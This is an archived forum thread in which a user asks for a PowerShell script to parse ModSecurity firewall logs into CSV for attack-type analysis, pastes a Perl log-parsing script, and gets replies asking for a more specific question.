parsing Modsecurity error logs through powershell and convert logs files to CSV

Dear Scripting guy

Is there any Power shell script available on which I can parse Modsecurity Error logs and modsec_audit.log

file in converted CSV file for attack natures and can do pivat table on types of security attacks coming on the firewall ?

May 27th, 2015 12:15pm

What is modsecurity.

IF the files are CSV you can use PowerShell to search them.

Free Windows Admin Tool Kit Click here and download it now
May 27th, 2015 1:13pm

Dear JRv

ModSecurity is an open source, cross-platform web application firewall (WAF) module. Known as the "Swiss Army Knife" of WAFs, it enables web application defenders to gain visibility into HTTP(S) traffic and provides a power rules language and API to implement advanced protections.

What exactly is ModSecurity?

ModSecurityis an open source, free web application firewall (WAF) Apache module. With over 70% of all attacks now carried out over the web application level, organizations need all the help they can get in making their systems secure. WAFs are deployed to establish an external security layer that increases security, detects and prevents attacks before they reach web applications. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with little or no changes to existing infrastructure.

Where do I get more help on ModSecurity?

The ModSecurity website is the definitive location for all information - http://www.modsecurity.org/help.html.

Some types of attack that ModSecurity & the OWASP CRS can help to protect against are:

  • SQL injection
  • Denial of Service
  • Cross-Site Scripting
  • HTTP anomalies (violations of HTTP protocol)
  • Automation detection (stops bots and scanners)
  • Comment spam

May 29th, 2015 2:18am

Do you understand the question you are asking and the fact that this is a scripting forum and not a database forum.  We also do not have your special software so we would not likely know what the parsing rules are.

You need to ask a more specific question along with a sample of your script.

I recommend posting in the forum for the utility you are trying to use.

Free Windows Admin Tool Kit Click here and download it now
May 29th, 2015 2:44am

Actually my question is very simple its not software its basically parsing logs files generated on webserver.

I would like to use powershell to parse the log file and generate a more user firendly excel CSV file for incident investigation.

e.g of log parsing for IIS logs

http://sbrickey.com/Tech/Blog/Post/Parsing_IIS_Logs_with_PowerShell

A perl script is present but I need its alternative in powershell

http://endlessgeek.com/2014/02/search-modsecurity-audit-log-analysis/

May 29th, 2015 2:50am

What is the question?  Are you asking how to parse a file?
Free Windows Admin Tool Kit Click here and download it now
May 29th, 2015 2:53am

yes parsing logs files with powershell

I pasted perl script which basically counts attack types from the log file and sums ups. can we create powershell script which also parse the file and generate excel CSV file with all types of attacks recorded on the log file for easy user friendly log file - as its huge file with 10,000 lines and i need some thing which create trend analysis and convert complex log file into more user friendly log file.

#!/usr/bin/perl # Credit to Ryan Barnett at Spiderlabs.com for original idea   use strict; use warnings; use Getopt::Std; use vars qw/ %opt /; my $options = 'haf:s:'; my $defaultlog = '/usr/local/apache/logs/modsec_audit.log'; getopts( "$options", \%opt ) or &help(); &help() if ($opt{h} or !%opt); my $sstr; my $count=0; my %rules;   if ($opt{f}) {     open(LOGFILE,'<',$opt{f}) || die "cant find $opt{f} file $!\n"; } else {     open(LOGFILE,'<',$defaultlog) || die "cant find $defaultlog file $!\n"; }   if ($opt{s}) {     $sstr = $opt{s}; } else {     die 'Nothing to search for'; }   # Slurp up to the end of the next Z Section $/ = "-Z--\n";   while(my $chunk = <LOGFILE>) {     chomp $chunk;     if (($chunk =~ m/ Intercepted/ || $opt{a}) && $chunk =~ m/$sstr/) {         $count++;         # If you use a ruleset other than Atomic's then you can change the regex below to grab the rule's ID number and descriptive text         if ($chunk =~ m/\[id "([\d]+)"\].+WAF Rules([^"\]]{1,100})/) {                 $rules{$1}{count}++;             $rules{$1}{msg} = $rules{$1}{msg} ? $rules{$1}{msg} : $2;         }         print "####################\nEntry found for search String ($sstr)\n####################\n";         print $chunk,"-Z--\n\n";     } } close (LOGFILE);   print "\n\nTotal Matches for $sstr : $count\n"; foreach my $rule (keys %rules) {     print "$rule - $rules{$rule}{count} - $rules{$rule}{msg}\n"; }   exit;   sub help() {     print << "EOF";   $0 [-h] [-a] [-f file] [-s search]       default   : same as -h     -h        : this help message     -a        : show all activity (defaults to Interceptions only)     -f file   : file to search (defaults to /usr/local/apache/logs/modsec_audit.log)     -s search : string to match on - enclosed in quotes if it contains spaces EOF     exit;

}

this above perl script is very good but its not generting any file for which I can able to click on all types of attacks in details

May 29th, 2015 2:58am

If you can write a perl script to do this then you can write a PowerShell script.  Why is that an issue?
Free Windows Admin Tool Kit Click here and download it now
May 29th, 2015 3:04am

after parsing the log file it generates good statistics in command prompt

Total Matches for wp-content : 483 381203 - 22 -  - Virtual Just In Time Patch: TimThumb Non Image Upload Attempt 340162 - 82 - : URL detected as argument, possible RFI attempt detected 341245 - 1 - : Possible SQL injection attack (detectSQLi) 390613 - 12 - : Invalid character in request or headers 318811 - 4 - : Possible Attempt to Access unauthorized shell or exploit in WP cache directory 347008 - 42 - : Suspicious deep path recursion denied 333515 - 1 - : Bad Bot MJ12 (Disable this rule if you want to allow this bot) 390145 - 1 - : Rootkit attack: Generic Attempt to install shell 318813 - 191 - : Possible Fake Domain name used in URL, Possible Injection Attack 340007 - 35 - : Generic Path Recursion denied 360147 - 1 - : Advanced SQL evasion protection 340149 - 1 - : Potential Cross Site Scripting Attack 311291 - 42 -  - Virtual Just In Time Patch: 1 Flash Gallery Wordpress Plugin File Upload Exploit

340006 - 44 - : Generic Path Recursion denied in URI/ARGS

what i am looking for is to create excel file with pivat table type of table where I can click and open all reported attacks in detail. or all above generated attacks clickable and viewable in excel for detail analysis

May 29th, 2015 3:05am

You are still not asking a question. You are just making statements about what you would like to do.  Post back with a specific question when you have a problem with a PowerShell script.
Free Windows Admin Tool Kit Click here and download it now
May 29th, 2015 3:07am

actually I am trying to use someonelese perl script - i didnt write this script just using it from the web - But I wanted you to look into it and convert it to powershell script thanks
May 29th, 2015 3:40am

This topic is archived. No further replies will be accepted.

Other recent topics Other recent topics